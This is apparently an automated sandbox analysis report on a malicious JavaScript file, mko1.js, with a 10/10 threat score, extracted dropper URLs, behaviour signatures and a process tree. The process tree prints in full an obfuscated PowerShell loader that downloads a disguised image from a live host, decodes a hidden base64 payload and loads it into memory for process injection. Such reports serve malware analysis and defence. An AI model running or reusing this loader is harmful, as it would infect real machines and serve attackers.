Analysis

  • user interaction
    yes
  • max time kernel
    59s
  • max time network
    59s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260710-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    18/07/2026, 06:58

General

  • Target
    mko1.js
  • Size 73KB
  • Sample260718-hrqmlaey9w
  • SHA256 f1e92c458878d2d4cab2463d8b697894cc4f28b038f20afc998e495709d38a21
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • ps1.dropper

    https://ia600805.us.archive.org/10/items/new_image_202501/new_image.jpg%20

  • exe.dropper

    https://ia600805.us.archive.org/10/items/new_image_202501/new_image.jpg%20

Signatures

  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 1 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\mko1.js
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4120
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };$originalText = '#x#.reggin/3uZimI6uPwew/gro.selifpm#//:sp##h';$restoredText = $originalText -replace '#', 't';$hiply = 'https://ia600805.us.archive.org/10/items/new_image_202501/new_image.jpg ';$boxthorn = New-Object System.Net.WebClient;$pipedream = $boxthorn.DownloadData($hiply);$burqini = [System.Text.Encoding]::UTF8.GetString($pipedream);$firebush = '<<BASE64_START>>';$tenterhook = '<<BASE64_END>>';$russet = $burqini.IndexOf($firebush);$puissant = $burqini.IndexOf($tenterhook);$russet -ge 0 -and $puissant -gt $russet;$russet += $firebush.Length;$aphelinus = $puissant - $russet;$thraneens = $burqini.Substring($russet, $aphelinus);$butane = -join ($thraneens.ToCharArray() | ForEach-Object { $_ })[-1..-($thraneens.Length)];$waldsteinia = [System.Convert]::FromBase64String($butane);$signalising = [System.Reflection.Assembly]::Load($waldsteinia);$tesselation = [dnlib.IO.Home].GetMethod('VAI');$tesselation.Invoke($null, @($restoredText, 'reviled', 'reviled', 'reviled', 'AddInProcess32', 'reviled', 'reviled','reviled','reviled','reviled','reviled','reviled','1','reviled','TaskName'));if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };"
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1328

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        memory/1328-1-0x00007FFAC183F000-0x00007FFAC1840000-memory.dmp

        memory/1328-2-0x00007FFAC16B0000-0x00007FFAC2054000-memory.dmp

        memory/1328-3-0x00000221463E0000-0x0000022146402000-memory.dmp

        memory/1328-6-0x00007FFAC16B0000-0x00007FFAC2054000-memory.dmp

        memory/1328-7-0x00007FFAC16B0000-0x00007FFAC2054000-memory.dmp

        memory/1328-8-0x00007FFAC16B0000-0x00007FFAC2054000-memory.dmp

        memory/1328-9-0x00007FFAC16B0000-0x00007FFAC2054000-memory.dmp

        memory/1328-10-0x00007FFAC16B0000-0x00007FFAC2054000-memory.dmp

        memory/1328-11-0x00007FFAC16B0000-0x00007FFAC2054000-memory.dmp

        memory/1328-12-0x00007FFAC16B0000-0x00007FFAC2054000-memory.dmp

        memory/1328-13-0x00007FFAC16B0000-0x00007FFAC2054000-memory.dmp

        memory/1328-15-0x00007FFAC16B0000-0x00007FFAC2054000-memory.dmp

        memory/1328-17-0x00007FFAC16B0000-0x00007FFAC2054000-memory.dmp